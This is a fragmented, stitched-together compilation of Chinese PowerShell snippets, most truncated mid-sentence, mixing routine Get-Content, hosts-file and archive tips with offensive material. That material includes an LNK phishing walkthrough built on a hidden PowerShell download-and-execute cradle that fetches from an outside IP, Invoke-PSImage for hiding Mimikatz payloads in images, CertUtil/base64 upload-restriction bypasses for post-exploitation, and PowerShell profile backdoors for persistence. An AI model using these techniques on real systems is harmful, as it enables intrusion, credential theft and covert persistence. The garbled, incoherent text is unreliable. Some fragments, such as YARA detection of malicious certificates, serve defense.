一、Get-Content介绍 Get-Content 主要作用是获取路径指定位置的项(文本类文件)的内容,例如文件中的文本或函数的内容。...等 说明: PowerShell 3.0以后的版本开始支持从项的开头或末尾获取指定数量的行。...-Path:设置获取文件的路径,可以使用通配符,因此Get-Content 可以一次性读取多个文件或者多个目录的内容。 -Filter:用来设置限定 Path 参数的筛选条件。...处于等待状态, Get-Content 每秒检查一次文件,并输出新行(如果存在)。比较常见的是tomcat日志文件,可以采用这种方式监控日志的变化,排查问题。...四、使用案例 4.1 获取文件内容 4.2 获取文件前三行内容 4.3 获取文件最后三行内容 4.4通过管道方式获取最后两行内容 注意:该方式获取速度更快,对于大文件检索非常有用。
使用图形界面发现修改不了host文件,这里提供一种方法: 1.按win+X组合键 2.点击Wodows PowerShell(管理员) 3.输入 cd C:\Windows\System32\drivers...\etc cd C:\Windows\System32\drivers\etc 4.输入ls 看是否存在host文件(我们可以看到host文件的权限) 5.输入 notepad hosts...notepad hosts 此时会已记事本形式打开host文件 在里面加你想要加入的域名即可, 6.然后点击文件,点击保存。
命令 - 获取指定项的属性 描述: 该cmdlet获取指定项的属性。...Get-Content -Path C:\boot.ini (Get-Content -Path C:\boot.ini).Length # 6 # 1.打开一个文本文件test.txt读取指定数目的行数...Get-Content -Path C:\Temp\* -Filter *.log # 6.以字节数组形式获取文件内容 $byteArray = Get-Content -Path C:\temp\test.txt...您可以通过在命令中键入内容或指定包含该内容的对象来指定内容。...描述: 该cmdlet的作用是重定向输出,即它以两个方向(如字母T)发送命令的输出,它将输出存储在文件或变量中并可以通过管道发送。
引言 PowerShell 是一个强大的任务自动化和配置管理框架,广泛应用于系统管理和脚本编写。为了增强用户体验,PowerShell 引入了 PSReadLine 模块。...要查看 PSReadLine 维护的完整历史记录,可以直接读取历史记录文件: powershell Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell...持久化命令历史 要确保命令历史在每次会话退出时自动保存,并在新会话启动时加载,可以在 PowerShell 配置文件中添加以下设置: powershell Set-PSReadLineOption -...HistorySaveStyle SaveAtExit 示例:查看最近的历史命令 假设我们想查看最近的 10 条历史命令,可以使用以下命令: powershell Get-Content "$env...将以下代码添加到我们的 PowerShell 配置文件中(通常是 $PROFILE 文件): powershell function Show-History { Get-Content "$
windows 10下解压.gz后缀文件 打开windows powershell界面, (1)输入cd desktop(文件的存储位置,示例为存储在电脑桌面上), (2)输入tar -zxvf 需要解压的文件名称
输出 csv 文件: Export-Csv -Path 文件路径 -Encoding UTF8 -NoTypeInformation -Force 3.PowerShell 输出 txt 文件: Out-File...$Directory ){ }else{ New-Item -Path $Directory -ItemType Directory -Force } 5.PowerShell 删除文件中的空行...: $txt = Get-Content 文件 $txt | Where-Object { -not ([string]::IsNullOrEmpty($_) -or [string]::IsNullOrWhiteSpace...($_))} | Out-File -FilePath 文件 -Encoding utf8 -Force 6.PowerShell 获取文件行数: function fn-GetLineCount (...-Encoding utf8 -Force } fn-GetLineCount 文件 7.去除文件中重复内容: $content = Get-Content 文件 $content | Select-Object
练习PowerShell 练习一次性创建两个目录New-Item -ItemType "directory" -Path "E:\PowerShell 练习\01","E:\PowerShell 练习...-Name "demo.txt" -ItemType "file" -Value "使用PowerShell 创建一个文件demo.txt"输出: 目录: E:\PowerShell 练习Mode...● -WhatIf:该参数描述了如果执行cmdlet将会发生的情况,该cmdlet不执行。...3、Rename-Item 项重命名该命令主要是用来给项目进行重命名,支持文件、目录、注册表等文件类型,并且也可以批量重命名操作。...文件重命名,当前demo.txt 文件名修改为 demonew.txtRename-Item demo.txt -NewName "demonew.txt"重命名该注册表项Rename-Item -Path
调用-PSImage Invoke-PSImage接收一个PowerShell脚本,并将脚本的字节编码为PNG图像的像素。...它生成一个oneliner,用于从文件或从网络上执行。 它可以只使用有效载荷数据创建一个新的图像,也可以将有效载荷嵌入到现有图像的最不重要的字节中,使其看起来像一张实际的图片。...在创建新的图片时,普通的PowerShell脚本实际上被大大压缩了,通常生成的png的文件大小约为原始脚本的50%。...-Out [filepath] 保存图片的文件(图片为PNG格式)。 -Image [filepath] 要嵌入脚本的图片。(可选) -图片 [文件路径] 要嵌入脚本的图片。...\kiwi.jpg [从文件中执行Oneliner] 创建一个嵌入了 "Invoke-Mimikatz.ps1 "脚本的图片,并输出一个oneliner从网络上执行(你仍然需要托管图片和编辑URL
检查项目配置文件检查 .env 文件:在项目根目录查看 .env 文件,寻找:NODE_TLS_REJECT_UNAUTHORIZED=0如果存在,删除或注释掉这行。...检查 package.json 脚本:# 查看脚本配置Get-Content package.json | ConvertFrom-Json | Select-Object -ExpandProperty...": "0" // 删除这行 } } ]}终端会话检查:# 检查当前会话echo $env:NODE_TLS_REJECT_UNAUTHORIZED# 如果输出 0,清除该变量$env...全局搜索项目文件使用 PowerShell 进行全面搜索:Get-ChildItem -Recurse -File | Where-Object { $_.Name -match "\....ForegroundColor Red $content | Select-String "NODE_TLS_REJECT_UNAUTHORIZED" }}️ 解决方案方案1:安全修复(推荐)完全移除该设置
文章前言 有时候我们在对内网环境环境进行渗透时发现了可渗透的云桌面并且进入到了云桌面的操作界面时,此时我们想要对该内网进行进一步的渗透测试却发现当我们上传一些工具到云桌面时却无法上传exe文件,但是可以上传诸如...txt的文本文件,而且云桌面不出网,在这种情况下我们可以考虑通过window系统自带的一些工具来实现对文件上传限制的绕过 具体实现 CertUtil Windows 7之后的windows系统自带CertUtil...命令,它可以用于MD5、SHA1等算法的加密和解密操作,我们可以使用CertUtil对我们想要上传的exe文件进行base64加密并输出未文本之后在通过目标主机上的certUtil将其还原从而实现上传文件的目的...Powershell亦可以用于加密解密操作,这里的思路和上面一致,我们可以使用Powershell对想要上传到目标云桌面的exe程序进行base64加密操作并转为txt格式,之后上传txt到云桌面,...对fscan_base64.txt进行base解码并从中还原处fscan64.exe $Base64Bytes = Get-Content ("fscan_base64.txt") $PEBytes=
最近迁徙了一些用户从域A转到另外一个域B,为了方便继续访问旧的文件系统,保留了SID历史记录。今天发现个别运行在旧域A的 Citrix Xenapp程序不工作了。...经过检查,发现该程序启动的时候会自动运行 whoami /group自检,如果有无法解析的SID,自动结束。估计是迁徙的时候某些组的SID History出了问题。...豆子写了个很简单的powershell命令来查找 在域A上以用户身份登录,执行下列命令,whoami的结果先转化成csv文本,然后powershell再转化成结构化对象以便操作。...type -match "Unknown SID type"} | select sid > K:\unknown.txt 结果如下 然后在域B上读取这个文本,进行Sid到组名的解析即可 $group=get-content
文章前言 LNK文件是一种用于指向其他文件的特殊文件,这些文件通常也被称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用, LNK钓鱼主要将图标伪装成正常图标,但是目标会执行Shell...命令 钓鱼实践 Step 1:点击Attacks—>Web Drive by—>Scripted Web Delivery,在弹出的对话框中将type类型设置为Powershell,然后单击launch...生成代码 powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.174.129...:80/a'))" Step 2:制作一下txt文本 Step 3:制作一下powershell $file = Get-Content "Al1ex.txt" $WshShell = New-Object...例如:投递压缩包并附加Link文件)进行利用,不过作为一种后渗透阶段权限维持的方式也还是挺不错的,但是就得看点击率了~
描述: 该 cmdlet 允许您将成员(属性和方法)添加到PowerShell对象的实例中。例如可以添加包含对象描述的NoteProperty成员或运行脚本以更改对象的ScriptMethod成员。...# 6.将SizeInMB脚本方法添加到FileInfo对象,该对象将文件大小计算为最接近的兆字节。...(并去重) Get-Content -Path C:\Test\ServerNames.txt | Sort-Object -Unique # 在第二个示例中,`Get Content`获取文件的内容,..." >b.txt >> PS C:PowerShell> Compare-Object (Get-Content .a.txt) (Get-Content .b.txt) InputObject SideIndicator...4.比较每一行内容并排除差异(即显示两边文件都有的) $objects = @{ ReferenceObject = (Get-Content -Path .
3.启动PowerShell非常简单可以直接在CMD命令行之中键入以下命令PowerShell 或者 PowerShell_ISE TIPS: 默认键入一个字符串PS会将它原样输出,如果该字符串是一个命令或者启动程序...参数时,PowerShell 将显示该 cmdlet 的帮助。 Get-Service -? 3.通用参数: 参数由 PowerShell 引擎控制, 通用参数的行为方式始终相同。...1.在 PS 6 之前 sc 是 Set-Content cmdlet 的别名, 因此若要在 ps6 之前的 PowerShell 版本中运行 sc.exe 命令,必须使用包含文件扩展名 exe的完整文件名...LinkID=113332 #备注:Get-Help 在此计算机上找不到该 cmdlet 的帮助文件它仅显示部分帮助。...脚本模块 一个 PS 模块,其根模块是一个脚本模块文件 (.psm1);脚本模块可能包含或不包含模块清单。 脚本模块文件 一个包含 PS 脚本的文件。 该脚本定义脚本模块导出的成员。
最近,NVISO实验室分析人员开发了某种YARA规则,利用它发现了多种恶意证书文件(.crt),这些证书文件中包含的并不是真正的认证证书,而是一个恶意的PowerShell脚本。...作为《隐藏在证书文件中的PowerShell》系列的第1部份,本文中我们一起来探讨如何制作这种YARA规则,去揭开攻击者的这种“潜伏“行为。...,不仅能检测出包含PE文件的证书文件,还能检测出其它不包含特定证书数据的恶意证书文件。...它的被检测率为0,也就是全部通过,但当我们用base64dump.py对它进行base64解码之后,看到了一些有意思的发现: 这个证书文件竟然包含了经过编码的PowerShell脚本程序,吓得我们….。...这个脚本的检测需要几个步骤,在《隐藏在证书文件中的PowerShell》系列的第2部份,我们会继续讨论。
在Windows PowerShell下解压.tar.gz文件,可以使用几种不同的方法。下面是一些常见的方法: 1....操作如下: powershell tar -xzf 路径\文件名.tar.gz -C 解压到的路径 这里: -xzf 表示解压操作:x 代表解压,z 代表处理gzip压缩,f 代表指定文件名。...路径\文件名.tar.gz 是你的.tar.gz文件的路径和文件名。 -C 后面跟的是想要解压到的目标文件夹的路径。 2....安装后,可以在PowerShell中使用以下命令: powershell & "C:\Program Files\7-Zip\7z.exe" x 路径\文件名.tar.gz -o解压到的路径 & "C...以上就是在Windows PowerShell中解压.tar.gz文件的方法。选择适合场景的方法进行操作即可。
springboot version:2.1.9-RELEASE 解决方案: 在pom中添加此段 完美解决,代码的作用是让src/main/webapp在编译的时候在resoureces路径下也生成webapp的文件
cmd 没有类似于 bash 的配置文件,但是 powershell 是有的 PowerShell 控制台支持以下基本配置文件。配置文件按照执行顺序列出。...$PROFILE 自动变量存储当前会话中可用的 PowerShell 配置文件的路径。...输出 I am the third Backdoor 发现连 WindowsPowerShell 这个目录都没有,创建目录及文件 在 powershell 中输入 powershell 进入新的 powershell...Backdoor 刚才已经创建了目录,现在直接创建文件了 在 powershell 中输入 powershell 进入新的 powershell 这四个配置文件均可正常使用 尝试重启电脑,再次进入 powershell...在第一个后门文件中额外插入powershell 代码,将 I am a Backdoor 写入到桌面的 backdoor.txt 中 先是在 cmd 中进行测试 powershell .
XenDesktop的整体升级,期间考虑到原有架构的不稳定性,采取了新建XD Site方式,将原有桌面全部迁移到新Site后,原有配置的诸多XD策略也需要迁移过来,经过查询,Citrix 提供了相应的PowerShell...从原有站点导出Policy #打开PowerShell控制台 #asnp citrix* \\导入Citrix管理Module #Export-BrokerDesktopPolicy | Out-File...-FilePath c:\xdpolicybak.txt \\导出策略到本地C盘 2.在新站点还原Policy # 将旧站点备份的策略文件拷贝到新站点DDC #打开PowerShell控制台 #...asnp citrix* \\导入Citrix管理Module #Import-BrokerDesktopPolicy (Get-Content C:\XDPolicybak.txt) \\从本地文件导入策略